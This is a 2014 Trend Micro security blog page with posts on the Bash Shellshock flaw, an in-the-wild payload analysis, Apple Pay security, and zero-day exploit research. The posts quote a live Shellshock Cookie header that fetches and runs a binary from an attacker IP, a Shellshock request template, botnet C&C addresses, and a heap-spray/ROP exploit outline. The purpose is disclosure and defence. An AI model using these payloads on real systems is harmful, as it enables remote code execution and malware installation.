Trend Micro Facebook TrendLabs Twitter Malware Blog RSS Feed You Tube - Trend Micro
Search our blog:

  • Recent Posts

  • Calendar

    October 2014
    S M T W T F S
    « Sep    
     1234
    567891011
    12131415161718
    19202122232425
    262728293031  
  • About Us

    Sep26
    1:21 am (UTC-7)   |    by

    In the immediate aftermath of the Bash vulnerability known as Shellshock, we have already seen some attacks using it to deliver DDoS malware onto Linux systems. However, given the severity of this vulnerability, it is almost certain that we will see bigger, severer attacks. What are some of the scenarios we could potentially see?

    Servers

    Web servers are currently at the highest risk of being exploited. CGI scripting is, at this time, the most reliable and best documented way of exploiting this vulnerability. As our earlier entry noted, we have already seen attacks in the wild that use this method. We particularly expect to see more of these attacks moving forward.

    The damage to organizations if web servers are compromised can be signific    ant. A compromised server can also be the entry point for attackers into the organization’s network. The attacker can choose to run any set of commands on the affected servers. Pairing Shellshock with some other form of privilege escalation vulnerability would completely compromise an affected server.

    However, web servers are not the only application at risk. SSH may also be vulnerable to Shellshock. At this time, any Unix/Linux server OS that uses Bash are at risk. By default, most of these use Bash, with some exceptions. For example, FreeBSD’s default shell is tcsh. The alternatives to Bash are not believed to be vulnerable.

    Endpoints

    The direct risk to end users of Shellshock may be less. Windows systems are not at risk from Shellshock, so users of those systems will not be directly affected by these issues.

    Current data suggests that around 10% of PC users use some form of Linux or Max OS X. These OSs may be vulnerable to Shellshock, although, even here, exploitation is more difficult. Endpoints typically do not have running network services (like HTTP servers) that an attacker can easily access, reducing the risk. Mac applications have never relied as heavily on shell scripts as do Unix/Linux applications. However, because it represents a remotely accessible channel to Bash, SSH represents a possible infection vector.

    For end users, the biggest concern may well be exploits via rogue DHCP servers running on potentially affected routers and hotspots. Bash is used by DHCP clients to set system settings; a client connecting to a rogue DHCP server can end up running malicious commands on their system. This can most easily be done via malicious open WiFi networks. We advise users to be extra cautious of which WiFi networks to connect to, but this is already a part of long-standing best practices. (Mac OS X uses a custom DHCP client that is not affected by this vulnerability.)

    For mobile devices, Android devices do not use the Bash shell, and thus not affected by this threat. Neither do iOS devices. However, because jailbroken iOS devices include a copy of Bash, these devices are at risk. Similarly, rooted and modified devices that now run a *nix variant (and, as a result, Bash) may be affected.

    Embedded devices / Internet of Things / Internet of Everything

    Many embedded devices that make up the Internet of Everything are built on embedded versions of Linux, raising the risk that they could be compromised. This would allow the information in these devices to be stolen, as well as for the devices themselves to be used in various malicious activities by becoming part of a botnet.

    However, not all of these devices use Bash. Many of these devices are built using BusyBox, which does not use Bash. These would  not be affected by this vulnerability either.

    Diagnosing and patching IoE devices that are affected by Shellshock will pose exceptionally difficult, however. The standard tests that can be used to check if a system is vulnerable are harder to do on an embedded device. Similarly, the record of many IoE vendors when it comes to security patches is not ideal either. This area could represent a significant problem in the long-term mitigation of Shellshock.

    Summary: IT administrators should worry the most, for now

    For the time being, IT administrators maintaining servers that are exposed to the Internet should be the most concerned about this attack. As we mentioned in earlier blog posts, patches are now available from most vendors that should close this security hole.

    We now provide free tools that allow IT administrators to check not only if their servers are vulnerable to Shellshock, but also if the attacks that are known to have taken advantage of it are already present in their systems. We’ve also released released browser extension and device scanners to protect users’ browsers and devices against the risks posed by Bash bug vulnerability. These tools can scan devices to detect if has been affected by the bug.

    Attempts to exploit the Shellshock vulnerability on a network can be detected via the following Deep Discovery rule:

    • 1618 – Shellshock HTTP REQUEST

    Other Trend Micro products detect this as CVE-2014-6271-SHELLSHOCK_REQUEST.

    In addition, Trend Micro Deep Security protects users from this bash vulnerability via the following DPI rule:

    • 1006256 – GNU Bash Remote Code Execution Vulnerability

    Users can also read our article, About the Shellshock Vulnerability: The Basics of the “Bash Bug” containing information on what they need to know about Shellshock vulnerability and its security risks.

    We’ve also documented our analysis of the botnet reportedly being built using the Shellshock vulnerability.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    Just several hours after the news on the bash vulnerability (covered under CVE-2014-7169) broke out, it was reportedly being exploited in the wild already.  This vulnerability can allow execution of arbitrary code, thus compromising the security of systems. Some of the possible scenarios that attackers can do range from changing the contents of web server and website code to defacing the website to even stealing user data from databases, among others.

    We spotted samples which are the payload of the actual exploit code. Detected as ELF_BASHLITE.A (also known as ELF_FLOODER.W), this malware is capable of launching distributed denial-of-service (DDoS) attacks. Some of the related commands it executes are

    • PING
    • GETLOCALIP
    • SCANNER
    • HOLD pause or delay attack for specified duration
    • JUNK Junk Flooding
    • UDP DDoS using UDP packet
    • TCP DDoS using TCP packet
    • KILLATTK – terminate attack thread
    • LOLNOGTFO – terminate bot

    It also has the capability to do brute force login, enabling attackers to possibly get the list of login usernames and passwords. Based on our analysis, ELF_BASHLITE.A also connects to a C&C server, 89[dot]238[dot]150[dot]154[colon]5.

    BASHLITE diagram

    Figure 1. Threat infection diagram (Click image to enlarge)

    Below is the screenshot of the code depicting the arrival of malware on a system:

    Cookie:().{.:;.};.wget.-O./tmp/besh.http://162[dot]253[dot]66[dot]76/nginx;.chmod.777./tmp/besh;./tmp/besh;

    As discussed in our earlier post, the severity of this vulnerability is serious given that web servers are mostly affected. It (vulnerability) also poses risks to Internet of Everything/Internet of Things devices that have Linux (and Bash) on them.  It was also reported that it affects Bitcoin/Bitcoin mining, thus attackers may possibly/potentially create armies of bots through this.

    The related hash for this attack is 0229e6fa359bce01954651df2cdbddcdf3e24776.

    Trend Micro Solutions for Shellshock:

    The Trend Micro Smart Protection Network protects users from the BASHLITE variant mentioned above. We will continuously monitor for any other exploits abusing this vulnerability. On the other hand, attempts to exploit the Shellshock vulnerability on the network can be detected via the following Deep Discovery rule:

    • 1618 – Shellshock HTTP REQUEST

    Other Trend Micro products (Trend Micro OSCE, IWSVA and Titanium) detect this as CVE-2014-6271-SHELLSHOCK_REQUEST.

    In addition, Trend Micro Deep Security protects users from this Bash vulnerability through the following DPI rule:

    • 1006256 – GNU Bash Remote Code Execution Vulnerability

    Other users who may want to check if they are affected should check our free protection for Shellshock. We’ve also released browser extension and device scanners to protect users’ browsers and devices against the risks posed by Bash bug vulnerability. These tools can scan devices to detect if has been affected by the bug.

    The Latest Developments on Shellshock: 

    We have monitored the developments around this topic and documented them here:

    We are currently doing further research analysis on this topic and will update our blog for developments.  Users can also read more on this in our Simply Security blog.

    With additional analysis from Rhena Inocencio, Karla Agregado, Serafin Lago, Alvin Bacani, Kim Sotalbo, Joie Salvio, and Erwina Dungca. 

    Update as of 1:38 PM, September 26, 2014

    We spotted two malware payloads of the exploit code, one of which is detected by Trend Micro as PERL_SHELLBOT.WZ. When executed, it connects to the IRC server, fbi[dot]bot[dot]nu[colon]5190, where it receives several commands from an attacker. Some of the commands it issues include:

    • cback – Execute a remote shell (/bin/sh or cmd.exe)
    • download – Download from a URL and save to a specified file
    • portscan – Scans an IP address for the following ports
    • join – Join a channel
    • part – Leave a channel
    • rejoin – Leave and rejoin a channel

    Another payload is detected as ELF_BASHLET.A, which connects to 27[DOT]19[DOT]159[DOT]224[COLON]4545, where it waits for commands from a malicious attacker.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    A serious vulnerability has been found in the Bash command shell, which is commonly used by most Linux distributions. This vulnerability—designated as CVE-2014-7169—allows an attacker to run commands on an affected system. In short, this allows for remote code execution on servers that run these Linux distributions.

    What’s the bug (vulnerability)?

    The most popular shell on *nix environments has a serious flaw which can allow an attacker to run any arbitrary command over the network where it’s used behind the curtains. The most common being web servers using CGI environment.

    Bash allows exporting shell functions to other bash instances. It is done by creating an environment variable with the function definition. For example:

             env ENV_VAR_FN=’() { <your function> };’

    The ENV_VAR_FN will be the function that is exported to any subsequent bash instances. This seems like a useful feature, right? But there is a bug in the implementation of bash that it continues to read beyond the function definition and executes commands that follow the definition. In an ideal scenario, it should have stopped reading beyond the definition and ignored whatever came after it, but it doesn’t.

              env ENV_VAR_FN=’() { <your function> }; <attacker code here>’

    How can it affect services over the network?

    Given the fact that bash environment is used in several configurations including CGI, ssh, rsh, rlogin etc., all those services can be affected by this bug. Any web servers which consume user input and absorb them into bash environment are also vulnerable. Here’s how a bad request would look like in a CGI environment:

    GET /<server path> HTTP/1.1

    User-agent: () { :;}; echo something>/var/www/html/new_file

    And this will create a new file new_file for the attacker.

    Web applications are the biggest exposure layer for this vulnerability. However, this can manifest itself via several other services as noted above.

    What’s the damage that can be done?

    The above just demonstrates creating a file but an attacker can literally run any command that’s conceivable on a bash shell. This could mean modifying the contents of the web server itself, change the website code, deface the website, steal user data from the databases, change permissions on the website, installing backdoors etc.

    Remember that it will be run in the context of user running the web server. This is generally the httpd user. Note that there is no elevation of privilege solely with this vulnerability, but it can be used in conjunction with another local vulnerability to escalate privileges to root user. It is not uncommon for attackers to cascade different exploits to gain entry into a system/network.

    Shell scripting is widely used in Linux, which means there are multiple ways for this vulnerability to be triggered. Bash is used by most Unix and Linux systems, as well as OS X.  Red Hat, one of the biggest companies that provides Linux, said in a bulletin to its customers that “Because of the pervasive use of the Bash shell, this issue is quite serious and should be treated as such.”

    In addition, because Linux (and correspondingly, Bash) is used on many embedded Internet of Things/Internet of Everything (IoT/IoE) devices, the risk of devices with vulnerabilities and difficult-to-impossible to patch can’t be ruled out either. Lastly, there are news stating that Bitcoin/Bitcoin mining may also be affected by this security issue.

    What are the affected bash versions?

    All versions of Bash up to and including version 4.3 are vulnerable.  To be sure, check with your *nix vendor’s website for specific patched versions. Redhat customers can refer here.

    What should I do now?

    The first thing is to upgrade the version of Bash to its latest version. Given the level of compromise, ensure the integrity of your web server is not compromised by replacing your ssh keys, since they could have been stolen. It is also best to change credentials and check your database logs to see any mass scraping queries are run.

    How do I know if I have been attacked using this vulnerability?

    If you look at your web server logs closely, in a lot cases, you will be able to identify traces of this attack. Look for () { in the access logs. Also, certain errors will get logged in error_log. Note, however that you will not have traces of this attack in certain scenarios.

    Trend Micro Deep Security customers can use Integrity Monitoring to check logs and ensure that the integrity of web server elements is not affected.

    What protection does Trend Micro has in place for this vulnerability?

    Trend Micro Deep Security customers must apply the update DSRU14-028 and assign the following rule:

    • 1006256 – GNU Bash Remote Code Execution Vulnerability

    Attempts to exploit the Shellshock vulnerability on the network can be detected via the following Deep Discovery rule:

    • 1618 – Shellshock HTTP REQUEST

    Other Trend Micro products (Trend Micro OSCE, IWSVA and Titanium) detect this as CVE-2014-6271-SHELLSHOCK_REQUEST.

    Other users who may want to check if they are affected should check our free protection for Shellshock, as well as our browser extension and device scanners to protect users’ browsers and devices against the risks posed by the Shellshock vulnerability. These tools can scan devices to detect if has been affected by the bug.

    The Latest Developments on Shellshock: 

    We have monitored the developments around this topic and documented them here:

    We are currently doing further research analysis on this topic, and will update our blog for developments.  Users can also read more on this in our Simply Security blog.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    One of the biggest announced features of the newly released iPhone 6 and 6 Plus is Apple Pay. This is Apple’s attempt to popularize mobile payments, which have been around in some form for years. For example, Google Wallet has been around since 2011. NFC (Near Field Communication) contactless payments have been around in some form for more than a decade:

    Figure 1. MasterCard contactless payment terminal

    However, Google’s efforts have not met with much acceptance from consumers. The end users do not believe that these ecosystems are secure and private, and neither are they always easy to use. A 2013 survey of smartphone users indicated that security was the biggest concern surrounding mobile payments.

    So, Apple has a big opportunity to make mobile payments mainstream if they get Apple Pay right.  Apple entering any new market is always significant, as their brand allows them to gain a foothold both in the market and in the minds of consumers.

    At the iPhone/Apple Watch launch event, the broad outlines of how Apple Pay would work was demonstrated. NFC in combination with Touch ID would be used to create a secure and easy to use mobile payment system.

    The critical information in the credit/debit card such as card number, the expiration date, and the security code are all stored in the iOS Passbook. This information is tokenized, encrypted, and stored in a dedicated chip called the Secure Element.

    Figure 2. Elements of Apple Pay

    During transactions, only the tokenized information and a dynamic transaction code is transferred between the Secure Element and the merchant’s payment terminal (via NFC). Apple made clear that they do not see the actual transactions, going as far as saying:

    Apple doesn’t know what you bought, where you bought it and how much you paid for it. The transaction is between you, the merchant and your bank.

    In theory, this should address concerns about privacy. In addition, this design reduces the risks of a lost device. If the iOS device is lost, there is no need for any associated credit cards to be cancelled: the user can just remotely disable mobile payments via Find My iPhone.

    What about the broader ecosystem? Mobile payment systems by other vendors (like Google Wallet) have faced resistance from telecom providers, who have their own systems they’d like to promote.

    Instead, Apple bypassed them and worked directly with the credit card networks as well as the banks. Many high-profile US stores have already signed onto Apple Pay and will roll it out to their stores. Online stores and mobile apps will also include support for Apple Pay.

    Figure 3. Merchants that are part of Apple Pay rollout

    All this may make Apple Pay a significant player in mobile commerce. However, success would also attract cybercriminals!  Yes, Apple Pay appears to be secure, and had it been in place, POS attacks like those that hit Home Depot recently wouldn’t be as severe.

    However, until Apple Pay is fully rolled out we cannot fully say whether it is secure or not.  Every aspect of the Apple Pay ecosystem – the device, the payment process, Passbook, and NFC – all these will be carefully scrutinized by attackers trying to breach them. In addition, the existence of Apple Pay itself will trigger attacks that use it as social engineering bait.

    Threats to Apple Pay aren’t the only ones that Apple users may encounter. Phishing attacks, data breaches, and even jailbreaking are some of the incidents that may put the security of Apple devices severely at risk. For information on these threats and suggested countermeasures, you may read our Monthly Mobile Report, “Poisoned Apples: A Look into Recent Threats That Affected iOS Users

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  

    Exploits are frequently used in targeted attacks to stealthily infect systems. These exploits do not have to target newly discovered or zero-day vulnerabilities; for example, CVE-2013-2551 (a vulnerability in Internet Explorer) is still being targeted in 2014.

    However, zero-day exploits are still a serious threat as these can catch all parties off-guard, including security vendors. Zero-days take advantage of this insecurity window to expose even diligent users and administrators to different threats.

    Research for Protection

    Our products contain technologies that help address these concerns. These include  browser exploit protection, document exploit protection, and virtual patching. These technologies were integrated into both consumer and enterprise products.

    Feedback from these products about exploits and vulnerabilities was used to create heuristic rules against both patched and zero-day exploits. These efforts have met with positive results. In 2010, malicious samples that targeted the IE vulnerability which was used to target Google (CVE-2010-0249) were blocked several weeks before the vulnerability was publicly disclosed. Other similar instances involved attacks using CVE-2013-5990, CVE-2013-3346, CVE-2014-0496, and CVE-2014-1761.

    Vulnerability Findings

    We have put much effort and resources into finding vulnerabilities and corresponding zero-day exploits, with some success. In 2014, we found 14 vulnerabilities in various applications that could be used for remote code execution. Ten of these affected Internet Explorer, two Adobe Flash Player, and one each affected Adobe Reader/Acrobat and Java.

    Figure 1. Discovered vulnerabilities in 2014

    The 14 critical vulnerabilities (and affected software) with we found and reported to the appropriate vendors in 2014 are:

    We focus on analyzing samples gathered from victims of targeted attacks, as these give us a more accurate picture of the actual threat landscape. These samples are collected from different sourcing channels such as honeypots, product feedback, and user submissions. We believe that these samples target vulnerabilities which are being used or most likely to be used by attackers.

    Possible exploits and vulnerabilities are identified through different methods including heuristic rule scanning, machine learning, and sandboxing. Our automated process handles hundreds of thousands of samples daily, and only several dozen suspicious samples need to be sent to manual analysis.

    Like other researchers, we also proactively find vulnerability by static analysis, fuzzing, and penetration testing. to find vulnerabilities. We report these to vendors like Microsoft, Adobe, and Oracle before these are used by hackers.

    It’s through this process that we discovered vulnerabilities for those popular software products that are easily targeted for exploitation. We work closely with the affected vendors to provide patches for any vulnerabilities we find. These efforts have led to Trend Micro being recognized as having an excellent record in discovering vulnerabilities in popular Windows applications in 2014.

    Common Threads in Vulnerabilities

    Different applications have a tendency for certain types of vulnerabilities to be found at certain points in time. This is because attackers like to use vulnerabilities that can be abused by a stable exploit method at that particular time.

    For example, the Internet Explorer vulnerabilities we discovered this year are frequently some kind of use-after-free memory corruption vulnerability. Microsoft has issued numerous security bulletins this year addressing UAF vulnerabilities, including two zero-day vulnerabilities (CVE-2014-0322 and CVE-2014-1776).

    It may be difficult to truly eradicate similar UAF flaws, for the following reasons:

    • Developers are more prone to mistakes when coding in C/C++.
    • Document Object Model (DOM) Levels 1 to 4 consist of complex elements and logic, while UAF always occurs in asynchronous processes. This problem also can be found in both Google Chrome and Mozilla Firefox.
    • Internet Explorer contains private DOM elements like VML, which makes matters worse by increasing code complexity.
    • Microsoft supports backward compatibility. Because the new engine works with the old one (which does not have the improved security of its successor), security is compromised.

    Fortunately, Microsoft has introduced two mitigation solutions—”isolated heap” and “delay free“—that makes UAF abuse more difficult to exploit.

    Flash Player, meanwhile, suffered from an out-of-bounds access issue. It lacks bounds checking, particularly in code related certain specific complex logic. We discovered two vulnerabilities related to this. The Flash zero-day (CVE-2014-0515) reported in April exploited the same kind of vulnerability.

    Exploit by Code Reuse

    Attackers can now create exploit codes for vulnerabilities faster than before with code reuse. Once an exploit has been deemed stable, a template can be created. The template will include all the steps for remote code execution and the methods to bypass security mechanisms like data execution prevention (DEP) and address space layout randomization (ASLR).

    DEP prevents the execution of code (including malicious shellcode) from certain regions of computer memory (nonexecutable). ASLR, on the other hand, randomizes the layout of regions (data areas) in memory to make guessing the exact location more difficult.

    With code reuse, it becomes easier to implement a new exploit once a similar vulnerability is found. Only minor changes are needed to ensure that the related registries have the expected value once the exploit is performed.

    We’ll use CVE-2014-0322 and CVE-2014-1776 as examples. These two vulnerabilities are both related to UAF. The exploit template for these bugs will have four steps:

      1. Use Flash ActionScript to do a heap spray, so that most of address space will be accessible via the bug and two adjacent vectors.
      2. To bypass ASLR, search the address of ZwProtectVirtualMemory, and use it to compose return-oriented programming (ROP) code, which can be used to counter exploit prevention techniques.
      3. Modify the vtable of flash.media.Sound to the ROP code and call that virtual function. After that, the permissions on the shellcode is changed to RWX, which means DEP is also bypassed.
      4. Return to shellcode – the arbitrary code gets executed.

    The Future of Exploits

    It has been said that attackers have concentrated on finding  vulnerabilities in Internet Explorer and Flash Player this year. Our own work supports this, with the issue of UAF figuring prominently in the first half of the year.

    Soon after Microsoft released their two mitigation solutions, UAF-related exploits became less of a problem. Even though we saw UAF vulnerabilities were still present, these were now non-exploitable using older exploit methods. While the mitigation solutions are now in place, we predict that UAF exploits will stage a comeback once these mitigation steps are overcome. This may coincide with the release of a new version of Internet Explorer next year.

    We believe that it is inevitable that attackers will use new methods or target new vulnerabilities. We are already seeing that other types of vulnerabilities, such as out-of-bounds and type confusion vulnerabilities, be targeted instead of UAF.

    The same could be said for bypassing security mechanisms. DEP and ASLR can both be bypassed today, and research has shown it is also possible to bypass the newer protection mechanisms. For example, in some special conditions, an object can still be freed immediately in a “delay free” flow. It is merely difficult, but not impossible, to reach those specific conditions deliberately.

    Creating a Security Ecosystem

    Trend Micro will continue to invest in exploit and vulnerability research. However, it is clear to us that using our research only for our products is not sufficient. Building an ecosystem to prevent zero-day attacks becomes necessary as more targeted attacks use them. Blocking such threats should not be the final step; both end users and vendors need to be informed to fully protect everyone from these threats.

    What should end users do until then? They should ensure that their software is up-to-date, both to ensure that as few known vulnerabilities are present and to ensure that the latest exploit mitigations are in place. As we noted earlier, our research is used directly to provide protection for our users.

    In particular, enterprises should look into Deep Discovery, which is designed to discover targeted attacks. Heuristic scanning and sandbox protection are effective and efficient ways in identifying unknown threats, and Deep Discovery uses the knowledge gathered via our research to provide the most complete heuristic detection for exploits.

     
    Email this story to a friend   Technorati   NewsVine   MySpace   Google   Live   del.icio.us   StumbleUpon  



     

    © Copyright 2013 Trend Micro Inc. All rights reserved. Legal Notice